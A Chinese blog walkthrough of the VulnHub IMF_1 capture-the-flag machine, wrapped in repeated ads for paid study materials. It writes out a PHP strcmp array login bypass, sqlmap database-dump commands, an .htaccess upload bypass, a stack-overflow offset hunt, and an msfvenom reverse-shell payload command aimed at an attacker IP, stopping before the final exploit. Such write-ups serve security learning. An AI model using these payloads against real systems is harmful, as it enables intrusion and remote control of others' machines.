IMF_1(VulbHub)_WriteUp，2024年最新阿里巴巴网络安全面试题答案

最新推荐文章于 2024-06-13 01:44:59 发布
最新推荐文章于 2024-06-13 01:44:59 发布
阅读量236 收藏 8
点赞数 4
分类专栏： 2024年程序员学习 文章标签： web安全 网络 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_83621136/article/details/137869681
版权

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）
img

正文

image-20231112142719563

image-20231112143423069

 发现flag1：
 <!-- flag1{YWxsdGhlZmlsZXM=} -->
 allthefiles
发现flag2

image-20231112143129361

image-20231112142826870

 发现flag2：
         <script src="js/ZmxhZzJ7YVcxbVl.js"></script>
         <script src="js/XUnRhVzVwYzNS.js"></script>
         <script src="js/eVlYUnZjZz09fQ==.min.js"></script>
 ​
 ----> ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
 ----> imfadministrator

image-20231112143216184

再解一轮

image-20231112143321287

拼接imfadministrator目录

image-20231112143537920

 !-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --
 ​
 type="text" name="user"
 type="password" name="pass"

image-20231112191249296

sqlmap跑了很久，一点也跑不出来

image-20231112192314595

收集用户名

contact.php这个页面发现有邮箱这样的信息

=> 用户名！

 发现邮箱信息：
 rmichaels@imf.local
 akeith@imf.local
 estone@imf.local
 三个用户信息！这里有三个用户：rmichaels、akeith、estone

image-20231112193606476

代码审计之弱类型绕过

通过枚举用户名，并且进行绕过尝试

 burpsuite测试用户名有效性
 测试akeith、estone时候回显：Invalid username  （无效的用户名）
 测试rmichaels回显：Invalid password（无效的密码）
 找到了正确的用户名！

代码审计之弱类型绕过

字符串转换为数组：

将字段名称更新pass为pass[]，这意味着PHP将把这个字段解释为一个数组，而不是一个字符串。这有时会混淆验证字符串检查，如果输入是数组strcmp则会返回NULL！

image-20231112193836881

image-20231112193910016

发现flag3

将带有绕过的包放回

 flag3{Y29udGludWVUT2Ntcw==}
 Welcome, rmichaels
 IMF CMS

image-20231112194002455

image-20231112194824350

进入IMF CMS漏扫测试

image-20231112195332083

vulmap、AWVS等漏扫没法扫描出漏洞

image-20231112201455101

尝试跑sqlmap

想到之前的那个sql，再试一次，这次跑POST包

用burpsuite拦截流量包，右键点击：copy to file 保存到本地1.txt文本中！

image-20231112201804729

 sqlmap -r sql_post.txt --batch -dbs

image-20231112202035217

 sqlmap -r sql_post.txt --batch -D admin --tables

image-20231112202129691

sqlmap -r sql_post.txt --batch -D admin -T pages --columns

image-20231112202210151

sqlmap -r sql_post.txt --batch -D admin -T pages -C id,pagedata,pagename --dump

image-20231112202247791

发现异常数据

输入第三个表单当中的数据

image-20231112202440160

发现flag4

通过二维码扫描软件得第四个flag

flag4{dXBsb2Fkcjk0Mi5waHA=}
解码：uploadr942.php

image-20231112202629299

image-20231112202655042

继续访问uploadr942.php页面

image-20231112202743211

waf绕过(.htaccess绕过)

发现次waf检测文件内容！

image-20231112204959017

image-20231112204910541

这边肯定好奇了，这儿为什么上传gif，但是可以执行php的命令，这部分的内容我们后边再说。

image-20231112205342737

发现flag5
获得flag5：flag5{YWdlbnRzZXJ2aWNlcw==} 
base64解码获得：agentservices

image-20231112205400040

image-20231112205414400

反弹shell

image-20231112210024844

image-20231112210122393

image-20231112210220725

image-20231112210428076

image-20231112210607468

3、内网渗透

法一：缓冲区溢出-提权

查找agent
通过flag5 base64解码获得：agentservices
这是提示agent的服务存在问题！

find / -name agent 2>/dev/null    发现：
/usr/local/bin/agent
/etc/xinetd.d/agent

访问：/usr/local/bin/agent
是可以访问的，并且需要输入数值ID！

image-20231112221501520

查看开启的端口情况
netstat -ant    ---查看开启的端口情况
nc 127.0.0.1 7788    ---查看到开启7788端口是anget程序的

image-20231112222415098

查看/usr/local/bin下的文件

image-20231112222828012

image-20231112223502941

image-20231112223209914

敲震端口
敲震端口：
knock 192.168.126.167 7482 8279 9467
nmap 192.168.126.167 -p7788,80     ----这时候7788端口开启

image-20231112224804294

通过追踪来继续研究agent文件

image-20231112225916819

ltrace ./agent
随意输入数字！
strncmp("dwqdq\n", "48093572", 8)  = -1 ----正在将我提供的字符串与字符串48093572进行比较，在这种情况下导致=-1）

为了防止缓冲区溢出这种情况的出现，在C库函数中，许多对字符串操作的函数都有其"n兄弟"版本，例如strncmp，strncat，snprintf……兄弟版本的基本行为不变，但是通常在参数中需要多给出一个整数n，用于限制操作的最大字符数量。

甚至strings agent发现：两个地方使用了“%s”，这很可能是一个有效的溢出点！

vmmap
0xfffdc000 0xffffe000 rwxp      [stack]
发现这是个栈溢出的题目！

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
gdb ./agent
run
48093572    
输入后：
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
选择Submit Report 3：

输入2000值后，发现segmentation fault溢出报错！存在缓冲区溢出！
0x41366641

还发现：堆栈开始是EAX寄存器
EAX: 0xffffcfd4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA\324\317\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
发现偏移量为：168

python -c 'print "A" * 168 + "B" * 4'
通过测试：
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 15 times>, "BBBB")
EIP被168个字节覆盖，但是多给的B字节走到了EAX上，在给多个C测试shellcode会走哪儿！

python -c 'print "A" * 168 + "B" * 4 + "CCCCCCCCCCCCCCCC"'
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 12 times>, "BBBB", 'C' <repeats 16 times>)

或者：
info registers eax
x/20x $eax -32
这时候可看到：
0xffffcfc4:     0xffffcfd4      0x00000001      0x00000000      0x0804b02c
0xffffcfd4:     0x41414141      0x41414141      0x41414141      0x41414141
......

C也走到了EAX，找保护措施！那么只需要找到eax值，即可直接跳到shellcode！


checksec
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
RELRO 是一种用于加强对 binary 数据段的保护的技术。
参考：https://lantern.cool/note-pwn-linux-protect/

查看ASLR设置：
cat /proc/sys/kernel/randomize_va_space
2
或者：
sysctl -a --pattern randomize
kernel.randomize_va_space = 2

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。（留坑，PIE会影响heap的随机化。。）
2 = 全随机。除了1中所述，还有heap。
说明存在随机化！ASLR功能的程序使用ret2reg（返回寄存器）指令来利用缓冲区溢出
参考大佬：
https://www.securitylab.ru/analytics/405868.php

gdb-peda$ jmpcall eax
0x8048563 : call eax

或者：asmsearch "jmp eax"
asmsearch "call eax"

EAX 地址0x8048563

目前知道了JMP值：0x8048563
偏移量：168
接下来创建shellcode写个脚本就直接拿下！
创建后门
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.126.134 LPORT=6666 -f python -b "\x00\x0a\x0b"

payload：
-p 载荷类型


## 写在最后

**在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。**


需要完整版PDF学习资源私我





**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
![img](https://img-blog.csdnimg.cn/img_convert/1c25465f5b306ec045b47b7078be5a4f.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**



**在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。**


需要完整版PDF学习资源私我





**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
[外链图片转存中...(img-ifbK9Pf9-1713331869092)]

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
高手程序员
关注
  • 4
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
2022年农信银网络安全竞赛3-2 ez_raw简单取证writeup
weixin_42453160的博客
05-24 1074
下载解压ez_raw，根据题意判断文件应为内存镜像，用volatility工具分析。 1、扫描cmd命令行获得一串base64字符串 volatility -f .\ez_raw --profile=Win7SP1x64 cmdscan 5oiR5Zyo5rWP6KeI5Zmo5LiK5LiL6L2955qE5Lic6KW/5om+5LiN5Yiw5LqG77yM6L+Z56C055S16ISR6buY6K6k5LiL6L295Yiw5LuA5LmI5Zyw5pa55LqG77yf 2、用Base6...
2024年云曦网络安全实验室2024春季学期开学考复现Writeup
2301_82257383的博客
05-01 1146
构造的payloa为可以直接访问也可以Hackbar工具传参。通过使用my_parameter[]=1，相当于是告诉服务器，我们在传递的是一个包含1的数组而非数字或字符串，在这种情况下，$_GET[‘my_parameter’]得到的将是一个数组，而不是一个单一的值。原本脚本的设计是利用preg_match函数和正则表达式来检查my_parameter的值中是否包含数字，然而，当my_parameter是一个数组时，函数无法处理这样的输入，从而直接绕过检查。
IMF_1(VulbHub)_WriteUp，2024最新网络安全框架体系架构面试题
wdsfgj的博客
04-15 702
将字段名称更新pass为pass[]，这意味着PHP将把这个字段解释为一个数组，而不是一个字符串。这有时会混淆验证字符串检查，如果输入是数组strcmp则会返回NULL！用burpsuite拦截流量包，右键点击：copy to file 保存到本地1.txt文本中！这边肯定好奇了，这儿为什么上传gif，但是可以执行php的命令，这部分的内容我们后边再说。想到之前的那个sql，再试一次，这次跑POST包。sqlmap跑了很久，一点也跑不出来。通过枚举用户名，并且进行绕过尝试。法一：缓冲区溢出-提权。
IMF_1(VulbHub)_WriteUp(1)，2024-2024京东网络安全面试真题解析
m0_54816834的博客
04-07 813
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
网络安全最全CTFShow-电子取证篇Writeup_ctfshow 电子取证，2024年最新最新网络安全面试合集
2401_84252820的博客
05-14 882
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
IMF_1(VulbHub)_WriteUp，前方高能
m0_61040489的博客
04-07 890
Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察。
2024第十五届蓝桥杯网络安全赛项WriteUp
返璞归真的博客
04-27 978
2024第十五届蓝桥杯CTF题解
网络安全最新云曦网络安全实验室2024春季学期开学考复现Writeup(1)，京东面试真题解析
2401_84300239的博客
05-15 951
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
2024年春秋杯网络安全联赛春季赛 勇者山峰部分WriteUp_have you heard that lsb steganography also require
2401_84297618的博客
05-02 829
由于是刚入门CTF，第一次打比赛 记录一下过程 大佬绕过即可 后续会继续加油努力。
IMF_1(VulbHub)_WriteUp
2401_84297618的博客
05-16 383
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！内容实在太多，不一一截图了。
2024年江苏省信息安全评估与管理省赛样题(内含一阶段writeup)
01-10
2024年江苏省信息安全评估与管理省赛样题(内含一阶段writeup)2024年江苏省信息安全评估与管理省赛样题(内涵d一阶段writeup) 2024年江苏省信息安全评估与管理省赛样题(内涵d一阶段writeup) 2024年江苏省信息安全评估...
网络安全管理职业技能竞赛Web writeup_合天网安学院-程序员宝宝 - 程序员宝宝1
08-03
网络安全管理职业技能竞赛 Web writeup 本文将围绕网络安全管理职业技能竞赛 Web writeup 进行详细的知识点讲解。 网络安全管理职业技能竞赛 Web writeup 介绍 网络安全管理职业技能竞赛 Web writeup 是一个关于...
空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透1
08-03
2、我们获得了一份 config 文件，里面有最重要的 authkey 2、dz 有正常的备份数据，备份数据里有重要的 key 值 1、配合报错注入的攻击链 2
第四届红帽杯网络安全大赛-线上赛Writeup1
08-03
第四届红帽杯络安全赛-线上赛Writeup 第四届红帽杯络安全赛 - 线上赛 Writeup 第四届红帽杯络安全赛-线上赛Writeup 第四届红帽杯络安全赛-
2024年第十七届全国大学生信息安全竞赛创新实践能力赛初赛部分Writeup
05-27
2024年第十七届全国大学生信息安全竞赛创新实践能力赛初赛部分Writeup解析部分题目
网络安全（补充）
m0_62207482的博客
06-11 1019
同步包风暴（SYN Flood）攻击者假造源网址发送多个同步数据包（SYN Packet）给服务器，服务器因无法收到确认数据包（ACK Packet），使TCP/IP协议三次握手无法顺利完成，因而无法建立连接。其原理是发送大量半连接状态的服务请求，使服务主机无法处理正常的连接请求，因而影响正常运作 泪滴攻击暴露出IP数据包分解与重组的弱点，当IP数据包在网络中传输时，会被分解成许多不同的包传送，并借由偏移量字段作为重组的依据。泪滴攻击通过加入过多或不必要的偏移量字段，使计算机系统重组错乱，产生不可预期的后
网络安全扫盲篇名词解释之“挖矿“
weixin_39266374的博客
06-11 985
挖矿、比特币、区块链
网络安全练气篇——OWASP TOP 10
最新发布
weixin_55762309的博客
06-13 758
OWASP（开放式Web应用程序安全项目）是一个开放的社区，由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放，旨在提高对应用程序安全性的认识。其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ，总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞，是开发、测试、服务、咨询人员应知应会的知识。最重要的版本应用程序中最严重的十大风险。
php upload ctf,强网杯CTF防御赛ez_upload Writeup
05-14
最后，我们需要注意的是，该上传脚本没有做任何安全性检查，这意味着我们可以上传任意大小的文件，这可能会影响服务器的性能，甚至导致服务器崩溃。因此，在实际应用中，我们应该对上传的文件大小进行限制，同时对...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值